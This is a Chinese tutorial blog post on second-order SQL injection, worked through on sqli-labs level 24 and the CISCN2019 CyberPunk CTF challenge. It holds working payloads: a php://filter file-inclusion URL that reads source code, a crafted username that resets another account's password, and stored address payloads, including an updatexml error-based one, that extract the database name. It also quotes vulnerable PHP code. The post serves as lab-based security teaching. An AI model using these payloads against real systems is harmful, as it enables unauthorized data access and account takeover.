SQL注入系列文章:
目录
[WEB|[CISCN2019 华北赛区 Day1 Web5 ] CyberPun
前面和大家分享了SQL注入中的,联合查询,报错注入,盲注,还有一个非常好用的SQL注入技巧就是二次注入,那么再本篇,我会和搭建通过复习+练习的方式来一起学习一下SQL注入的二次注入,那么现在我们开始ヾ(◍°∇°◍)ノ゙
这里演示的靶场还是sqli-labs
什么是二次注入?
当用户提交的恶意数据被存入数据库后,应用程序再把它读取出来用于生成新的SQL语句时,如果没有相应的安全措施,是有可能发生SQL注入的,这种注入就叫做二次注入,也叫做存储型SQL注入,下面来演示一下二次注入
二次注入演示
靶场对应的二次注入关卡是第24关,那么我们来到24关
从页面可以看到这一关是一个页面非常丰富的一关
最后分析可以得到本关我们都可以做以下动作:
1、可以注册新用户
可以看到已经注册成功了
2、可以登录->修改密码
可以看到密码也是可以修改成功的
3、可以忘记密码
可以看到作为一个安全工作者,面对忘记密码这种事情,它建议我们去hack
那么现在我们应该怎么利用这些点来进行SQL二次注入呢?
这既然是SQL注入的靶场,我想肯定需要网数据库的方面来想,比如说像前面那样闭合掉用户名,然后注释后面的其他语句,实现无密码登录,那么那些地方都会用到sql语句的查询呢,应该是登录和注册,修改密码,都会用到数据库语句查询,那可以在登录的地方测试一下:
但是从结果看出,并没有成功
注:因为这里是POST的方式传参,因此不能使用--+来进行注释,而是要用#
现在来看看后端的代码
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]); //过滤了单双引号
$password = mysql_real_escape_string($_POST["login_password"]);//过滤了单双引号
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
可以看出,后端代码对我们输入的登录用户名和密码进行了过滤,因此无法注入
再来看看其他文件页面的后端代码是否有可以利用的点呢?
这里发现注册页面中,对于用户名和密码,并没有什么限制,因此我们可以尝试在这里直接传入一个user001'#的用户名和密码,试试看:
可以看到注册成功了
我们可以再看看数据库,是否有该记录:
可以看到是有的
但是还有一个问题就是在登录时,我们的密码却无法输入'这应该怎么办呢?那很简单就在用户名这里进行注入
然后这里龙哥告诉我们了一个办法,我们先使用user001'#账号和密码来尝试登录一下
这里居然登录成功了,然后修改密码,这里的原本密码是可以随便写的
发现居然修改成功了,现在我们使用现在的密码来尝试登录一下user001用户
这里居然就成功登录了。
这里我们居然在不知道用户的原本密码下,直接修改了该用户的密码
这里龙哥告诉了我们原因:这里因为我们注册了一个新用户,但是修改密码时却使用的是一个已存在的用户,并且无密码的用户(因为我们的用户名中有一个注释符,将后面的密码查询判断语句注释掉了),所以我们可以修改密码成功
那为什么转义符并没有将我们用户名中的’和#转义呢:因为我们在从数据库中拿出该用户名时没有对'和#进行转义,导致将密码的检测注释了,虽然看似后端代码将我们输入的'进行了转义,但是当将输入的数据存储到数据库中时,会将'加上存储的,这样就实现了二次注入
[WEB|[CISCN2019 华北赛区 Day1 Web5 ] CyberPun
现在相信大家已经对二次注入有了一些了解了吧,那么下面我们再来在一个靶机例题中实践一下:
这里会使用一个在线靶场:BUUCTF在线评测 (buuoj.cn)
然后找到这个题目,启动靶机
进入靶机后就可以看到下面这个页面:
一般这种网站我们在不知道源码的情况下很难得到什么有用的信息,因此我们可以使用dirsearch来扫描一下是否有网页源码
可以看到什么东西都没有扫出来,那么现在就只能自己找了,我们先俩看看网页前端页面有没有什么可以用的信息
可以看到这里有一个file,那么说明可以利用这个file来搞事情,使用file来读取源码
利用文件包含漏洞来读取源码
payload:
http://89dbaea5-2b4c-4aa5-b781-272ca2172d0c.node4.buuoj.cn:81/index.php?file=php://filter/convert.base64-encode/resource=index.php
可以看到使用这种方式确实可以读取出源码,只是源码是base64编码过的
我们可以使用base64工具来进行解码:
这样就成功的拿到了该页面的前后端源码:
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<h2>2077发售了,不来份实体典藏版吗?</h2>
<img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<h3>提交订单</h3>
<form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button>
</form>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<h2 class="mb">订单管理</h2>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./change.php">
<button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->
注:使用这种方法我们可以拿到每个页面的源码
二次注入
分析了各个页面的代码后,发现修改订单页面是存在二次注入的,因此我们可以先创建一个订单
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
更新页面address使用的是addslashes,存在二次注入漏洞
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串 预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL
这里addslashes将单引号(')转义为',但是进入数据库中单个 \ 是会被去除,所以存储到数据还是单引号('),更新时会被拼接到sql语句中:
' ,`address`=database()#'
提交订单
修改地址:
查询订单:
然后就可以看到这里就成功的将数据库的名称注入出来了
这里还可以利用报错注入来注入:
ayload:
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
提交订单:
修改订单:
可以看到这里也是成功的注入出了数据库名称,然后就可以使用同样的方法分别注入出数据库名、表名、列名,然后查询数据
到此,关于SQL注入的二次注入的基本知识和实验演示就到此完毕了,还是一样,知识本篇结束了,SQL注入的知识和技巧还没有结束,后面还会和大家分享更多的关于SQL注入的技巧和实验,我们后面再见(^▽^)